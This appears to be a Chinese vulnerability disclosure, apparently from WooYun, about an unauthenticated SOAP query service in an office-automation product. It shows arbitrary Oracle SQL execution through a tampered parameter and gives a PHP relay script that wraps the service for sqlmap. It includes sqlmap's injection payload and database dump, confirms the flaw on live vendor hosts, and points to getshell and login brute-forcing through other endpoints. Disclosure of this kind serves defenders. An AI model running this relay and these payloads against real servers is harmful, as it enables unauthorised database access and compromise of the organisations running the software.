### 简要描述： 荒废了 啥都不会 找工作啊 ### 详细说明： 先以本地为例 http://localhost:8088/ws [<img src="https://images.seebug.org/upload/201602/261505325ad6cc962e7df590d4fbbe74ea888bca.jpg" alt="Snap67.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/261505325ad6cc962e7df590d4fbbe74ea888bca.jpg) ``` http://localhost:8088/ws/query?wsdl ``` [<img src="https://images.seebug.org/upload/201602/26150714fab2776e42d8c9cec5a3b1ed92c57412.jpg" alt="Snap68.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/26150714fab2776e42d8c9cec5a3b1ed92c57412.jpg) 竟然提示 ``` <faultstring>Unmarshalling Error: unexpected element (uri:"http://**.**.**.**/", local:"arg0"). Expected elements are <{}arg1>,<{}arg0> </faultstring> ``` 搜索 [<img src="https://images.seebug.org/upload/201602/2615181165d4a7c015b4eff03b1f690f41abe9cd.jpg" alt="Snap69.jpg" width="600"...
### 简要描述： 荒废了 啥都不会 找工作啊 ### 详细说明： 先以本地为例 http://localhost:8088/ws [<img src="https://images.seebug.org/upload/201602/261505325ad6cc962e7df590d4fbbe74ea888bca.jpg" alt="Snap67.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/261505325ad6cc962e7df590d4fbbe74ea888bca.jpg) ``` http://localhost:8088/ws/query?wsdl ``` [<img src="https://images.seebug.org/upload/201602/26150714fab2776e42d8c9cec5a3b1ed92c57412.jpg" alt="Snap68.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/26150714fab2776e42d8c9cec5a3b1ed92c57412.jpg) 竟然提示 ``` <faultstring>Unmarshalling Error: unexpected element (uri:"http://**.**.**.**/", local:"arg0"). Expected elements are <{}arg1>,<{}arg0> </faultstring> ``` 搜索 [<img src="https://images.seebug.org/upload/201602/2615181165d4a7c015b4eff03b1f690f41abe9cd.jpg" alt="Snap69.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/2615181165d4a7c015b4eff03b1f690f41abe9cd.jpg) 提示是参数问题 改代码肯定是不行的 那就改参数吧 [<img src="https://images.seebug.org/upload/201602/2615252536a8ba93666e7b4094d45c3dbfe72ad3.jpg" alt="Snap71.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/2615252536a8ba93666e7b4094d45c3dbfe72ad3.jpg) ORA-00900: 无效 sql 语句 看来是可以的 更改第一个参数 ``` select SYS_CONTEXT('USERENV','CURRENT_USER') from dual ``` [<img src="https://images.seebug.org/upload/201602/261529415c75b1acc655b35470069209324e24b2.jpg" alt="Snap72.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/261529415c75b1acc655b35470069209324e24b2.jpg) 查看用户量 [<img src="https://images.seebug.org/upload/201602/2615305157d4a6dca1a586f6eafea56c58d2d285.jpg" alt="Snap73.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/2615305157d4a6dca1a586f6eafea56c58d2d285.jpg) 任意SQL执行 继续中转 ``` <?php $arg0=$_GET['sql']; header("content-type:text/html;charset=utf-8"); try { $client = new SoapClient('http://localhost:8088/ws/query?wsdl'); $xml = " <SOAP-ENV:Envelope xmlns:SOAP-ENV='http://**.**.**.**/soap/envelope/' xmlns:soap='http://**.**.**.**/wsdl/soap/' xmlns:xsd='http://**.**.**.**/1999/XMLSchema' xmlns:xsi='http://**.**.**.**/1999/XMLSchema-instance' xmlns:m0='http://**.**.**.**/' xmlns:SOAP-ENC='http://**.**.**.**/soap/encoding/' xmlns:urn='http://**.**.**.**/'> <SOAP-ENV:Header/> <SOAP-ENV:Body> <urn:queryBy> <arg0>1</arg0> <arg1>1</arg1> </urn:queryBy> </SOAP-ENV:Body> </SOAP-ENV:Envelope> "; $result=$client->queryBy(array('arg0'=>$arg0,'arg1'=>'1')); echo $result->return ;//显示结果 } catch (SOAPFault $e) { print_r('Exception:'.$e); } ?> ``` [<img src="https://images.seebug.org/upload/201602/261534275441950c0a20a1918da42f8844917d71.jpg" alt="Snap74.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/261534275441950c0a20a1918da42f8844917d71.jpg) SQL注入 ``` sqlmap identified the following injection points with a total of 0 HTTP(s) reque sts: --- Place: GET Parameter: sql Type: inline query Title: Oracle inline queries Payload: sql=(SELECT CHR(113)||CHR(115)||CHR(112)||CHR(99)||CHR(113)||(SELEC T (CASE WHEN (8499=8499) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(101)||CHR( 112)||CHR(97)||CHR(113) FROM DUAL) --- [15:39:49] [INFO] the back-end DBMS is Oracle web server operating system: Windows web application technology: Apache 2.2.22, PHP 5.3.10 back-end DBMS: Oracle ``` ``` available databases [20]: [*] APEX_030200 [*] APPQOSSYS [*] CTXSYS [*] DBSNMP [*] EWEAVER [*] EXFSYS [*] FLOWS_FILES [*] MDSYS [*] OLAPSYS [*] ORDDATA [*] ORDSYS [*] OUTLN [*] OWBSYS [*] PM [*] SCOTT [*] SYS [*] SYSMAN [*] SYSTEM [*] WMSYS [*] XDB ``` ### 漏洞证明： 官方：http://**.**.**.**:9085/ws/query?wsdl [<img src="https://images.seebug.org/upload/201602/26154455f207d294a3695c5236169bf1c877a2e4.jpg" alt="Snap76.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/26154455f207d294a3695c5236169bf1c877a2e4.jpg) [<img src="https://images.seebug.org/upload/201602/26154348dede073da2890dd3a00daaac84703c42.jpg" alt="Snap75.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/26154348dede073da2890dd3a00daaac84703c42.jpg) SQL注入就不进行了 毕竟可以执行SQL语句 http://**.**.**.**/ws/query?wsdl [<img src="https://images.seebug.org/upload/201602/261546178688d91ef58dd71df3c5721177b8aedd.jpg" alt="Snap77.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/261546178688d91ef58dd71df3c5721177b8aedd.jpg) http://**.**.**.**/ws/query?wsdl [<img src="https://images.seebug.org/upload/201602/26154725889e6a12f2e4b1f10771760b8370fd9b.jpg" alt="Snap78.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/26154725889e6a12f2e4b1f10771760b8370fd9b.jpg) http://**.**.**.**/bugs/wooyun-2015-0148980 这个估计还没修复 可以getshell http://localhost:8088/ws/ew?wsdl 可以用于爆破登录 [<img src="https://images.seebug.org/upload/201602/26155453866ba54bb3412b1066aca37e77b26c77.jpg" alt="Snap79.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/26155453866ba54bb3412b1066aca37e77b26c77.jpg) [<img src="https://images.seebug.org/upload/201602/261553055dab5e3a61df785ebcd27501f1feeb19.jpg" alt="Snap80.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/261553055dab5e3a61df785ebcd27501f1feeb19.jpg) 其他问题估计还有 自测吧
